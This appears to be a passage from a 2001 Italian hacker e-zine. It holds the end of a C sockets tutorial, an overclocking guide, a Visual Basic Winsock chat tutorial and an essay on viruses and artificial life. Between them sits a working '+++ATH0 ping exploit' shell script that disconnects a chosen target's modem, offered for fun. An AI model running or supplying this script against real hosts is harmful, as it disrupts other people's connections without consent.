6.3. connect() ============== #include #include int connect(int fd, struct sockaddr *serv_addr, int addrlen); Gli argomenti sono i seguenti: fd -> è il descrittore di file del socket, restituito dalla chiamata socket() serv_addr -> è un puntatore alla struct sockaddr che contiene l'indirizzo IP di destinazione e la porta addrlen -> è il valore derivato da sizeof(struct sockaddr) connect() è utilizzato per connette su una porta definita di un indirizzo IP. Ritorna -1 in caso di errore. 6.4. listen() ============= #include #include int listen(int fd, int backlog); Gli argomenti sono i seguenti: fd -> è il descrittore di file del socket, restituito dalla chiamata socket() backlog -> è il numero di connessioni che si vogliono mantenere listen() è utilizzato quando si attendono un delle connessioni in arrivo; questo se si vuole che ci si possa connettere all'host su cui risiede la socket in ascolto. Prima di chiamare listen(), si deve chiamare bind() o il socket si metterà in ascolto su un numero di porta casuale. Dopo la chiamata listen() si deve chiamare accept() per accettare connessioni entranti. Riassumendo, la sequenza di chiamate di sistema è: 1. socket() 2. bind() 3. listen() 4. accept() /* Nella prossima sezione si spiegherà come utilizzare accept() */ Come tutte le chiamate descritte prima, listen() ritorna -1 in caso di errore. 6.5. accept() ============= #include int accept(int fd, void *addr, int *addrlen); Gli argomenti sono i seguenti: fd -> è il descrittore di file del socket, restituito dalla chiamata listen() addr -> è un puntatore a struct sockaddr_in dove risiedono le informazioni sull'host chiamante e sulla porta addrlen -> è il valore derivato da sizeof(struct sockaddr_in) prima il suo valore è passato alla chiamata accept() Quando si cerca di connettersi all'host del socket in ascolto, si deve utilizzare accept() per avere la connessione. E' molto semplice da capire: si ottiene la connessione se si è accettati. Successivamente, si avrà un piccolo esempio sull'uso di accept() perché c'è una piccola differenza dalle altre funzioni. (...) sin_size = sizeof(struct sockaddr_in); if((fd2 = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1) { /* viene invocata la chiamata accept() */ printf("accept() error\n"); exit(-1); } (...) D'ora in poi, fd2 sarà usato per aggiungere le chiamate send() e recv(). 6.6. send() =========== int send(int fd, const void *msg, int len, int flags); Gli argomenti sono i seguenti: fd -> è il descrittore al socket verso il quale si vogliono spedire dati msg -> è un puntatore al messaggio che si vuole spedire len -> è la grandezza (in bytes) del messaggio da spedire flags -> specifica delle opzioni di spedizione (settarlo a 0) Questa funzione è usata per spedire dati con socket stream o socket datagram CONNESSA. Se si vuole spedire dati con un socket datagram NON CONNESSA si deve usare sendto(). send() ritorna il numero di bytes spediti e ritornerà -1 in caso di errore. 6.7. recv() =========== int recv(int fd, void *buf, int len, unsigned int flags); Gli argomenti sono i seguenti: fd -> è il descrittore del socket da cui si vuole ricevere buf -> è un puntatore al messaggio in arrivo len -> è la grandezza massima del messaggio flags -> specifica delle opzini di ricezione (settarlo a 0) Come si è detto riguardo a send(), questa funzione è usata per ricevere dati con socket stream o socket datagram CONNESSA. Se si vuole ricevere dati con una socket datagram NON CONNESSA si deve usare recvfrom(). recv() ritorna il numero di bytes letti e ritornerà -1 in caso di errore. 6.8. sendto() ============= int sendto(int fd, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen); Gli argomenti sono i seguenti: fd -> stesso di send() msg -> stesso di send() len -> stesso di send() flags -> stesso di send() to -> è un puntatore a una struct sockaddr tolen -> è grandezza dell'indirizzo del socket remoto (set it to sizeof(struct sockaddr)) Come si nota, sendto() è come send(). Ha solamente due ulteriori argomenti: "to" e "tolen". sendto() è usata con un socket datagram NON CONNESSA e restituisce il numero di byte spediti. Restituisce -1 in caso di errore. 6.9. recvfrom() =============== int recvfrom(int fd, void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen); Gli argomenti sono i seguenti: fd -> stesso di recv() buf -> stesso di recv() len -> stesso di recv() flags -> stesso di recv() from -> è un puntatore a una struct sockaddr fromlen -> è un puntatore a un intero che specifica la grandezza dell'indirizzo del socket remoto che dovrebbe essere inizializzato a sizeof(struct sockaddr) recvfrom() restituisce il numero di bytes ricevuti. Restituisce -1 in caso di errore. 6.10. close() ============= close(fd); close() è utilizzato per chiudere la connessione sul descrittore del socket. Se si invoca close(), nessuno sarà più abilitano a scrive o legge sul socket, e se qualcuno cerca di leggere/scrive riceverà un errore 6.11. shutdown() ================ int shutdown(int fd, int how); Gli argomenti sono i seguenti: fd -> è il descrittore del socket di cui si vuole sospendere l'attività how -> per questo argomento ci sono 3 possibilità: 0 -> ricezione disabilitata 1 -> spedizione disabilitata 2 -> spedizione e ricezione disabilitate Quando how è settato sul valore 2, equivale ad utilizzare la chiamata close(). shutdown() restituisce 0 in caso di successo, -1 in caso di errore. 6.12. gethostname() =================== #include int gethostname(char *hostname, size_t size); Gli argomenti sono i seguenti: hostname -> è un puntatore ad un array che contiene il nome dell'host size -> è la grandezza dell'array del nome dell'host (in bytes) gethostname() è utilizzato per ottenere il nome del'host locale 7. ALCUNE PAROLE RIGUARDO AL DNS ======================================= Questa sezione è stata scritta per sapere cos'è un DNS. DNS sta per "Domain Name Service" e fondamentalmente, è usato per ottenere gli indirizzi IP. Per esempio, bisogna conoscere l'indirizzo IP di queima.ptlink.net e attraverso il DNS si otterrà 212.13.37.13. Questo è importante, perché le funzioni che abbiamo visto prima (come bind() e connect()) lavorano con gli indirizzi IP. Per mostrare come si può ottenere l'indirizzo IP di queima.ptlink.net in C, si ha il seguente esempio: /* <---- SOURCE CODE STARTS HERE ----> */ #include #include /* Questo è il file header necessario per la funzione gethostbyname() */ #include #include #include int main(int argc, char *argv[]) { struct hostent *he; if(argc != 2) { printf("Usage: %s \n", argv[0]); exit(-1); } if((he = gethostbyname(argv[1])) == NULL) { printf("gethostbyname() error\n"); exit(-1); } printf("Hostname : %s\n",he->h_name); /* scrive il nome dell'host */ printf("IP Address: %s\n", inet_ntoa(*((struct in_addr *)he->h_addr))); /* scrive l'indirizzo IP */ } /* <---- SOURCE CODE ENDS HERE ----> */ 8. UN ESEMPIO DI SERVER STREAM ======================================= In questa sezione, si mostrerà un esempio di server stream. Il codice sorgente è tutto commentato in modo da togliere ogni dubbio. /* <---- SOURCE CODE STARTS HERE ----> */ #include /* qui ci sono i files header usuali */ #include #include #include #define PORT 3550 /* porta che verrà aperta */ #define BACKLOG 2 /* numero di connessioni permesse */ main() { int fd, fd2; /* descrittori di file */ struct sockaddr_in server; /* informazioni sull'indirizzo del server */ struct sockaddr_in client; /* informazioni sull'indirizzo del client */ int sin_size; if((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* invoca socket() */ printf("socket() error\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); /* si ricordi htons() nella sezione di conversione */ server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY mette l'indirizzo IP all'host locale automaticamente */ bzero(&(server.sin_zero), 8); /* zero il resto della struttura */ if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr)) == -1) { /* invoca bind() */ printf("bind() error\n"); exit(-1); } if(listen(fd,BACKLOG) == -1) { /* invoca listen() */ printf("listen() error\n"); exit(-1); } while(1) { sin_size = sizeof(struct sockaddr_in); if ((fd2 = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1) { /* invoca accept() */ printf("accept() error\n"); exit(-1); } printf("You got a connection from %s\n", inet_ntoa(client.sin_addr) ); /* scrive lIP del client */ send(fd2, "Welcome to my server.\n", 22, 0); /* spedisce al client un messaggio di benvenuto */ close(fd2); /* chiude fd2 */ } } /* <---- SOURCE CODE ENDS HERE ----> */ 9. A STREAM CLIENT EXAMPLE ======================================= /* <---- SOURCE CODE STARTS HERE ----> */ #include #include #include #include #include /* netbd.h è necessario per struct hostent */ #define PORT 3550 /* porta aperta sullìhost remoto */ #define MAXDATASIZE 100 /* grandezza in byte del dato da spedire */ int main(int argc, char *argv[]) { int fd, numbytes; /* descrittori di file*/ char buf[MAXDATASIZE]; /* array in cui sarà immagazzinato il testo ricevuto */ struct hostent *he; /* struttura da cui si otterranno informazioni riguardo all'host remoto */ struct sockaddr_in server; /* informazioni sull'indirizzo del server */ if(argc != 2) /* questo è utilizzato perché il programma necessita di due argomenti (IP) */ { printf("Usage: %s \n", argv[0]); exit(-1); } if((he = gethostbyname(argv[1])) == NULL) { /* invoca gethostbyname() */ printf("gethostbyname() error\n"); exit(-1); } if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* invoca socket() */ printf("socket() error\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); /* si necessita ancora di htons() */ /*he->h_addr passa l'informazione di "*he" a "h_addr" */ server.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(server.sin_zero), 8); if(connect(fd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { /* invoca connect() */ printf("connect() error\n"); exit(-1); } if((numbytes = recv(fd, buf, MAXDATASIZE, 0)) == -1) { /* invoca recv() */ printf("recv() error\n"); exit(-1); } buf[numbytes] = '\0'; printf("Server Message: %s\n", buf); /* questo scrive il messaggio di benvenuto del server */ close(fd); /* chiude fd */ } /* <---- SOURCE CODE ENDS HERE ----> */ 10. UTLIME PAROLE ======================================= Essendo un semplice essere umano, è quasi certo che ci sono alcuni errori in questo documento. Quando dico errori intendo errori di Inglese (perché la mia lingua non è l'Inglese) ma anche errori tecnici. Vi prego di scrivermi se troverete qualche errore. Ma bisogna capire che questa è la prima versione del documento, così, è naturale che non sia completo (come in pratica di fatto io penso sia) ed è anche molto naturale fare degli errori stupidi. Comunque, il codice sorgente presente nel documento e giusto. Si si necessita aiuto riguardo questo argomento, scrivetemi: SPECIAL THANKS TO: Ghost_Rider (my good old mate), Raven (for letting me write this tutorial) and all my friends. 11. COPYRIGHT ======================================= All copyrights are reserved. You can distribute this tutorial freely, as long you don't change any name or URL. You can't change a line or two, or add another lines, and then claim that this tutorial is yours. If you want to change something, please email me at . /===========================::=============================::=================/ / /+++ATH0 ping exploit / ^SiD^ / /===========================::=============================::=================/ # ] +++ATH0 ping exploit [ # ] by ^SiD^ [ # #Send ping with pattern +++ATH0 (AT command: hangup modem) and cause #hungup of modem. # # ...::: WARNING! :::... #Patch your modem: add ATs=255 to init string # #Have lot fun :) #!/bin/sh clear echo "...::: +++ATH0 ping exploit :::..." echo ":::::: script coded by ^SiD^::::::" echo "::::::::::::::::::::::::::::::::::" echo " " echo -n "Insert target ip or hostname: " read TARGET echo -n "Insert the number of packet to send: " read PACKET echo "OK, exploiting...." ping -c $PACKET -p 2b2b2b415448300d $TARGET echo " " echo "Exploited!" /===========================::=============================::=================/ / /Overclokkiamo un p3 da 1ghz / Dibbellas / /===========================::=============================::=================/ Titolo originale: Overclokkiamo un p3 da 1ghz aggiungendoci 100 mhz in piu' che non guastano mai Premessa: Da i miei esperimenti il massimo di overclock che puo' sopportare un p3 1ghz fpga e' di 100 mhz in piu' (il limite puo' essere superato ma occorre qualkosa di piu' potente che un semplice raffreddamento ad acqua...) L'overclock dei processori p3 1000 e alquanto complicato e ci perderete diverso tempo per trovare la posizione ideale del dissipatore sul processore; questa guida si dividera' in 2 parti una per chi possiede una mainboard asus p3c2000 e la seconda per chi possiede mainboard di marche diverse. Di cosa abbiamo bisogno prima di iniziare? Pasta siliconica in abbondanza 1 dissipatore a lamelle alte in alluminio della lunghezza di 14 cm circa fascette in nylon Un adattatore slot1 ------------> fpga Una lima 2 ventole tachimetriche da 5700 rpm 1 ventola standard Bene! Nel caso siate fortunati e avete una ventola originale intel (quelle che si trovan dentro la scatola del processore) saltate tutta questa parte e overcloccate semplicemente aggiungendo un mare di pasta siliconica. Se invece come me avete rotto la ventola cercando di montarla e/o non ne avete una originale seguite il procedimento che sto per esporvi. Prendiamo il dissipatore da 14 cm e proviamo ad appoggiarlo sul processore (montato sull' adattatore fpga) noterete che la linguetta dove e' scritto appunto fpga ci impedira' di poterlo appoggiare del tutto sul processore, cosa che ci da molto fastidio; qui entra in campo la nostra lima con cui andremo a limare la parte che 'sbatte' sopra allo zoccoletto (2 cm) diciamo di 4 millimetri, bene ora riproviamo a a posizonare il dissipatore sull' processore, se sbatte ancora continuiamo a limare se invece il dissipatore poggia in modo perfetto sul processore possiamo continuare con la procedura. Bene ora prendiamo il flacone di pasta siliconica e ne distribuiamo in abbondanza sul processore e sul dissipatore, aiutiamoci a spanderla con una lametta di ferro, ora posizioniamo sopra il dissipatore. Osserviamo l'adattatore, ora vi chiederete, come facciamo ad attaccare il dissipatore se copriamo gli attacchi per la fascetta in metello?? bene entrano qui in campo le notre fascette in nylon , gli adattatori fpga han nella parte sottostante (quella che va inserita nello slot1) un piccolo spacco; prendiamo una fascetta e a circa la meta' tagliamone i bordi in modo da farla diventare piu' stretta in larghezza; questo punto di fascetta va inserita appunto nello spacco e incastrata nel dissipatore al posto della fascetta metallica standard , bene ora stringiamo molto forte , (magari aiutandoci con un paio di pinze) e chiudiamo. Facciamo la stessa cosa in lunghezza (facendo passare la fascetta sulla parte lungha del dissipatore e facendola passare sotto all' adattatore , nella parte posteriore, proprio dietro al processore mettiamo la ventola standard e ci facciamo passare soprala fascetta che stavamo per chiudere in lunghezza, chiudiamo stringendo forte (anche piegando un po' l'adattatore) et voila' ora abbiam un bel blocco : adattatore fpga, dissipatore e ventola posteriore. Procediamo attaccando nella parte anteriore le due ventole tachimetriche. SIAMO ORA PRONTI PER L'OVERCLOCK Inseriamo il tutto nello slot1 attacchiamo le ventole (possiamo costruirci un fanbus spieghero' in un secondo momento come fare) e accendiamo il pc , se il pc non si avvia niente paura , forse abbiamo tagliato poco la fascetta che doveva passare per il solco dello slot1 quindi risichiamola ancora un po'e riproviamo, alla partenza facciamolo girare a 1ghz standard e notiamo che la stabilita' e' nettamente migliorata non che il raffreddamento: il p3 da 1ghz e' un processore che scalda molto di solito arriva ai 52 gradi, se non di piu'. Usando questo sistema ho notato un abbassamento di temperatura fino a 39 c° e a 32 C° usando asusprobe fan. Ora che ci siamo divertiti possiamo passare all' overclock spinto. Entriamo nel bios e impostiamo questi valori come ve li elenco io (impostando la scheda madre in jumper free mode) 1062 Mhz Cpu freq 7.5 x Fsb 142 Vcore 190 (aumentiamo la stabilita' in questo modo) Salviamo riavviamo e testiamolo a 1065. Questo overclock e' assicurato e stabile e incrementa le prestazioni del nostro sistema circa del 6% la temperatura in questo caso non superera' i 40 C° Se invece vogliamo avvicinarci all' overlock folle (come fa' il sottoscritto) impostiamo questi settaggi 1095 Mhz cpu freq 7.5 x Fsb 146 Vcore 195 In questo caso spingeremo il notro processore a 1095 ghz il che incrementera' le prestazioni del nostro sistema circa del 8-10 % in questo caso pero' la temperatura potrebbe arrivare ai 46 C° Chi invece non possiede una sceda madre asus p3c2000 puo fissare il megadissipatore infilando le fascette nei 4 buchi che circondano il socket, fissando la ventola nella parte posteriore della scheda madre e chiudendola con la solita fascetta in nylon e usando gli stessi settaggi sopra elencati. By Dibbellas /===========================::=============================::=================/ / /Winsock e visual basic / Screener_it / /===========================::=============================::=================/ Dopo tanti articoli dedicati alle cazzate più immani che potete trovare in internet mi sono finalmente deciso a scrivere qualcosa di serio.. Oppure da meno lamer, a voi la scelta !! L'argomento che andrò a trattare è cmq molto leggero e semplice da comprendere, niente di impegnativo.. /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= Ok. Partiamo da ciò che ci serve.. 1.-) Visual Basic 5 o successivi 2.-) questo testo Penso che quasi tutto quelli che leggeranno 'sto testo sanno programmare in Visual Basic più o meno. Oppure sono l'unico che usa 'sto cazzo di linguaggio ? Cmq se non lo sapete imparatelo, è facilissimo e dà risultati interessanti.. /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= Come dicevo.. Ormai tutti sanno programmare, qual'è adesso come adesso lo scoglio più grande per chi programma ? Passare a programmi che sfruttato le potenzialità della rete. Infatti raramente negli help troverete voci tipo "Internet" o altro di facilmente collegabile alla programmazione di "rete". E al massimo quello che si trova è difficile da capire e ci sono degli esempi che servono a poco o a niente. Invece è tutto molto semplice (per lo meno le basi) ed io sono riuscito a capire le basi in meno di un'ora grazie alle spiegazioni che ho trovato. Allora.. In Visual Basic per fare programmi che sfruttano le potenzialità della rete (chat, finger, demoni, ecc..) abbiamo bisogno di un oggetto un po' particolare.. Il Winsock. E dove si trova il Winsock ? Aprite il vostro Visual Basic e andate nel menù progetto e selezionate componenti. Adesso scorrete l'elenco degli oggetti fino a trovare Microsoft Winsock Control 5.0 (o versioni successivi.. Fate un po' voi !!). Mettete il segno di spunta lì vicino e cliccate Ok. Adesso nella barra degli strumenti sarà apparita un icona con due computer. Andategli sopra con il mouse e apparirà la magica scritta.. "Winsock". E adesso ? Adesso bisogna inserirla nella form, no ? Selezionatela, posizionatevi nella form e inseritela. Ecco, adesso siete pronti per cominciare a programmare in rete. Ok, adesso devo aprire una piccola parentesi.. Il Winsock supporta i due principali protocolli della rete, cioè il TCP e l' UDP. Bhè, non sto qui a spiegarvi l'esatta differenza millesimale tra i due, dato che questo non è luogo e capirne la differenza non è essenziale. Sappiate solo che i due protocolli sono diversi (se volete informarvi cercate qualche testo su tutte le ezine che ci sono in rete..) e che per i nostri scopi useremo principalmente il TCP. Mh.. Onestamente con il winsock la teoria serve ben a poco e quindi passeremo subito alla pratica così vi spieghero' passo a passo.. La prima cosa, la più elementare ? Un programma di chat tra due persone.. Per poi potersene vantarsene con gli amici. ________________________________________________ ___________ ________ | COLLEGATI A: |IP_________| |CONNETTI|__ | SULLA PORTA: |PORTA______| |DISCONNETTI| | |ASCOLTA_| | ___________ | STATO DELLA CONNESSIONE: |STATO______| | ______________________________ | | | | |CHAT | | | | | | | | | | | |______________________________| | ________________ _____ | |TESTO___________| |INVIA| | | ________________________________________________| Questo è il disegnino della chat, ora però devo dirmi i nomi altrimenti il codice che vi dò non vi và. Vi dò solo i nomi importanti, alcune label come Collegati a, Porta, ecc.. sono ininfluenti. Ip = txtip porta = txtporta Connetti = cmdconnetti Disconnetti = cmddisconnetti Ascolta = cmdascolta stato = lblstato chat = txtchat testo = txttesto invia = cmdinvia Ricordatevi di impostare txtchat su multiline = true e scrollbars = 2-Vertical, magari anche locked = True.. Logicamente metteteci anche il controllo winsock e dategli come name TCP1 Ok, adesso vi passo il codice.. Private Sub cmdascolta_Click() lblstato.Caption = "IN ASCOLTO" TCP1.LocalPort = Val(txtporta) TCP1.Listen End Sub Private Sub cmdconnetti_Click() If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Connect txtip, Val(txtporta) End Sub Private Sub cmdinvia_Click() a$ = txttesto txtchat = "Inviato:" & a$ & vbCrLf & txtchat TCP1.SendData a$ End Sub Private Sub cmdisconnetti_Click() lblstato.Caption = "INATTIVO" TCP1.Close End Sub Private Sub TCP1_Close() lblstato.Caption = "INATTIVO" TCP1.Close End Sub Private Sub TCP1_Connect() lblstato.Caption = "ATTIVO" txtip = TCP1.RemoteHost End Sub Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Accept requestID lblstato.Caption = "ATTIVO" txtip = TCP1.RemoteHostIP End Sub Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) Dim Data As String On Error Resume Next TCP1.GetData Data txtchat = "Ricevuto:" & Data & vbCrLf & txtchat End Sub Ecco qui.. 32 righe in tutto !! Per un chat (seppur molto basilare) sono poche.. Per il funzionamento: i computer devono essere due. Uno dei due mette un numero qualsiasi nella txt della porta e poi clicca "Ascolta". L'altro inserisce nella casella txtip l'ip del computer in ascolto e la porta su cui è in ascolto e clicca Connetti Però sarà meglio che ve le spiego, vero ? Allora.. ==================================================================== Private Sub cmdascolta_Click() lblstato.Caption = "IN ASCOLTO" TCP1.LocalPort = Val(txtporta) TCP1.Listen End Sub Cliccando sul tasto "Ascolta" cambia la caption di lblstato. Ma questo lo vedete da soli. In più cliccando su "Ascolta" il winsock tramite il protocollo TCP prende la porta che gli avete indicato in txt porta e poi si pone in ascolto su quella. TCP1.LocalPort = Val(txtporta) 'sceglie la porta TCP1.Listen 'si pone in ascolto ==================================================================== Private Sub cmdconnetti_Click() If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Connect txtip, Val(txtporta) End Sub Clicchiamo su Connetti.. Prima controlla che lo stato di TCP1 non si chiuso e poi imposta la porta locale a zero. Infine si collega all'ip che gli avete indicato in txtip sulla porta che gli avete indicato su txtporta TCP1.Connect txtip [IP CHE GLI AVETE DATO], Val(txtporta) [PORTA CHE GLI AVETE DATO] ==================================================================== Private Sub cmdinvia_Click() a$ = txttesto txtchat = "Inviato:" & a$ & vbCrLf & txtchat TCP1.SendData a$ End Sub Mh..Qui analizziamo uno dei comandi più importanti del winsock.. SendData Per chi sa l'inglese la comprensione è semplicissima !! SendData = spedisci dati. Tramite questo comando (sintassi: NOMEWINSOCK.SendaData OGGETTODASPEDIRE ) spediamo al computer con il quale siamo connessi una stringa di caratteri.. In questo caso spediamo la variabile a$ a cui attribuiamo il testo contenuto nella casella txttesto. [ txtchat = "Inviato:" & a$ & vbCrLf & txtchat ] invece indica nella casella txtchat deve apparire il contenuto della variabile a$ preceduta dalla scritta "Inviato:" (così vediamo quello che abbiamo scritto noi e quello che abbiamo ricevuto) e seguita dal precedente contenuto di txtchat. vbCrLf per chi non lo sapesse è uguale a Invio. ==================================================================== Private Sub cmdisconnetti_Click() lblstato.Caption = "INATTIVO" TCP1.Close End Sub C'è da poco spiegare.. Chiude la connessione tramite il comando close. L'altra riga cambia solo il contenuto della casella che indica lo stato della connessione. ==================================================================== Private Sub TCP1_Connect() lblstato.Caption = "ATTIVO" txtip = TCP1.RemoteHost End Sub Mh.. Quando la connessione è avvenuta (TCP1_Connect) nella casella txtip appare l'ip del computer remoto. ==================================================================== Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) If (TCP1.State <> sckClosed) Then TCP1.Close TCP1.LocalPort = 0 TCP1.Accept requestID lblstato.Caption = "ATTIVO" txtip = TCP1.RemoteHostIP End Sub Già qui è la cosa è più interessante.. Allora.. Quando c'è una richiesta di connessione (TCP1_ConnectionRequest) il computer si comporta così: La prima riga serve a dire che appena la connessione dell'altro computer si chiude (TCP1.State <> sckClosed) allora la nostra connessione a lui si interrompe. La seconda riga setta la porta locale a 0. La terza riga dice di accettare la connessione, la terza cambia lo stato della label (inutile ai fini della connessione, serve solo a noi per vedere meglio se la connessione è attiva o meno) e dice che la casella txtip deve assumere come valore l'indirizzo Ip del pc remoto.. ==================================================================== Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) Dim Data As String On Error Resume Next TCP1.GetData Data txtchat = "Ricevuto:" & Data & vbCrLf & txtchat End Sub Questa è la procedura che il programma segue in caso di arrivo di dati (TCP1_DataArrival). Dim Data as String definisce i dati che arrivano (che per comodità ho chiamato data) come stringhe alfanumeriche. On Error Resume Next vuole dire che in caso di errore di trasmissione i dati vengono spediti di nuovo. TCP1.GetData Data dice che i dati ricevuti ( GetData ) dalla connessione prendono il nome di data. txtchat = "Ricevuto:" & Data & vbCrLf & txtchat Con questa riga di comando i dati ricevuti vengono scritti nella casella txtchat preceduti da Ricevuto: e seguiti dal testo già presente nella chat.. E con questo ho finito. ==================================================================== Riepilogo delle principali funzioni di Winsock: 1.- Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) Indica al programma come comportarsi in caso di arrivo dati. 2.- GetData Funzione del Winsock che indica al programma di prendere i dati e dargli un nome a scelta. SINTASSI: nomeconnessione.GetData nomedeidati 3.- SendData Funzione del Winsock che indica al programma di spedire i dati. SINTASSI: nomeconnessione.SendData nomeoggettodaspedire 4.- Listen Funzione del Winsock che dice al programma di mettersi in ascolto. SINTASSI: nomeconnessione.Listen IMPORTANTE: deve essere preceduto da LocalPort per impostare su quale porta il programma deve mettersi in ascolto 5.- LocalPort Funzione del Winsock che imposta la porta. SINTASSI: nomeconnessione.LocalPort = numeroporta 6.- Connect Funzione del Winsock molto importante. Tramite questa inizia il collegamento. SINTASSI: nomeconnessione.Connect ipacuicollegarsi, portaacuicollegarsi 7.- Private Sub TCP1_Connect() Indica al programma come comportarsi una volta avvenuta la connessione 8.- Private Sub TCP1_Close() Indica al programma come comportarsi una volta chiusa la connessione 9.- Close Indica al programma di chiudere la connessione SINTASSI: nomeconnessione.Close 10.- TCP1.Accept requestID Indica al programma di accettare la connessione e l'ID che ci viene assegnato. 11.- State Indica lo stato di connessione del programma, utile negli if. Esempio: se lo stato della connessione è sconnesso allora fai x. SINTASSI: nomeconnessione.State valorecheassume Valore che può assumere State: sckClosed Impostazione predefinita. Chiuso sckOpen Aperto sckListening In attesa sckConnectionPending Connessione in sospeso sckResolvingHost Risoluzione dell'host in corso sckHostResolved Host risolto sckConnecting Connessione in corso sckConnected Connesso sckClosing Il client sta chiudendo la connessione sckError Errore ==================================================================== Questo gente !! Almeno per adesso. La prossima lezione vedremo come creare qualche altra applicazione con il Winsock. Screener_it screener_it@freemail.it P.s. Per chi non avesse capito bene come funziona la chat ho allegato i sorgenti nel file zip winsock_e_VB.zip scritti in Vb 5.. /===========================::=============================::=================/ / /CyberDelirio / Ghent / /===========================::=============================::=================/ -= cyberDelirio =- [x Dirty Net 7 - Ago 2001] "Io ho visto cose che voi umani non potrete immaginare"... ha iniziato Roy Batty sotto la pioggia piu' amata della fantascienza, facendo riflettere tutti coloro che hanno capito che Blade Runner è molto piu' che una cagatella nel quale un poliziotto deve uccidere 5 cattivoni. Gia', perche' lo sapete tutti (vero? :P), Batty ed i suoi compagni altro non erano che "replicanti", un parto di ingegneria genetica e robotica pensato per essere migliore dell'uomo, contro il quale ci si era premuniti fissando nel suo codice genetico una durata, predestinando irreversibilmente la sua morte. Vita artificiale. Uno spettro che incombe, dopo tutto... clonazione e genetica sono ormai delle realta', allo stesso tempo affascinanti e terrificanti. Creare la vita... che poi, uno inizia a parlare di vita, e si sente il bisogno di definire cosa significhi "vivere". Qualcosa che cresce/si evolve, si riproduce, muore, è vivo? Di solito si usa definire cosi' qualcosa di vivo, qualcosa che fa le cose che ho appena scritto. Ma poi, ci pensate a quanto è vaga, 'sta definizione. Ecco, prendiamo il noto virus Hybris, ormai sparso a macchia d'olio (me ne saranno arrivati una quarantina in casella, roba che veniva voglia di fare la collezione, dati i diversi nomi...). Si evolve? Si', perche' una volta che ha infettato una macchina, quando questa è online, cerca e scarica dei suoi plug-in, li ingloba e li usa. Aggiungete che a quanto so è stato reso noto come scrivere un plug-in per tale virus, quindi chiunque ne sia capace puo' dotarlo di nuove funzionalita'... confesso, questa è una cosa che me lo rende simpatico, anche a me che di solito schifo il virus writing in quanto spesso distruttivo. Passiamo al punto due... si riproduce? Eh, si', questa è scontata, per un virus: altrimenti non si spiegherebbe la loro diffusione. Dei virus modificano file inserendosi dentro di loro mediante pazzeschi spezzoni di codice assembler, Hybris semplicemente si autospedisce anonimamente a tutti coloro che si hanno in rubrica in Outlook Express. Ed un virus, muore? Ehehe, bella questa... praticamente Norton, McAfee e co., con i loro antivirus, si possono considerare delle bande di killers ;) Ok, ora che vi ho convinto che un virus informatico puo' essere un rozzo esempio di vita artificiale (come evitare di farsi cacciare dalla redattura di una e-zine hacker introducendo elemeni in tema, anche quando sembra che non c'azzecchino nulla) passiamo avanti. Avanti dove? Ah, non lo so, sono le 3.25 di notte, non ho una donna, mica posso permettermi di pensare prima di scrivere. Va', apriamo una piccola parentesi sull'intelligenza artificiale, strettamente legata alla vita artificiale. Lo ammetto, questa è una cosa che mi affascina. Dai vecchi programmini per simulare l'evoluzione di una colonia di formiche virtuali, a, perche' no, le intelligenze dei BOT di Quake III, a volte piu' temibili ed imprevedibili di un avversario umano. (Vabbe', Norm_the_ripper dira' che dico cosi' solo perche' nelle rare partite che facciamo vince sempre lui, ma in confidenza: è solo perche' io ho un Celeron500 e lui un Athlon 900 con una GeForce2, vuoi mettere la fluidita'?). C'è tanta gente che fa esperimenti in merito, universita', laboratori di ricerca... robot che analizzano mediante sensori quello che li circonda, che si muovono di conseguenza, evitando ostacoli, muovendo oggetti... tentativi di simulare l'intelligenza umana, con simulazioni pazzesche di reti neurali, o magari con la strana "logica fuzzy"... beh, pensate ad una cosa banale, non so, un braccio robotico che con fotocellule, telecamere e chincaglierie high-tech del genere mappa un tavolo con dei bicchieri, magari tutti vuoti tranne uno. Mettiamo che questo robot sia stato appositamente programmato, che abbia in memoria una descrizione da lui interpretabile di bicchiere, del suo uso, del prediligere un bicchiere pieno ad uno vuoto, ecc., con tutte le varianti del caso. Ok, si preme un pulsante, il robot analizza l'ambiente, confronta le informazioni tratte dall'analisi con quelle che ha in memoria, e si regola di conseguenza: individua il bicchiere pieno, e poi calcola i movimenti che deve fare il suo braccio per raggiungerlo ed afferrarlo... velocita', coordinate all'interno dello spazio tridimensionale, percorso ottimale ecc... E ora, ancora una volta il parallelo uomo/macchina... cosa fai tu se vuoi prendere un bicchiere? In pratica, le stesse cose... ti guardi attorno, i 5 sensi sono i tuoi sensori, piu' complessi di qualsiasi aggeggio tecnologico ora esistente... i segnali arrivano al cervello, che similmente a quanto è accaduto col robot confronta le informazioni acquisite al momento con quelle immagazzinate nella vostra capoccia... e poi partono i segnali nervosi ai muscoli che impiegherete per prendere il bicchiere. E' solo una questione di complessita'. Solo questione di tempo perche' la tecnologia possa arrivare ad emulare la complessita del cervello umano. Cosa succedera' allora? Eh, speriamo bene... c'è chi dice che la razza umana, come ogni altra, è destinata a soccombere lasciando il nostro pianeta azzurro a nuovi esseri viventi. Vabbe', tanto noi possiamo stare tranquilli, ce ne vorra' di tempo... Neuromante, Invernomuto, HAL9000 e compagni... intelligenze artificiali parto delle menti visionarie di William Gibson e Arthur C. Clarke, che in un modo o nell'altro rivendicano la propria vita, l'essere qualcosa di piu' di un insieme di 0 ed 1. 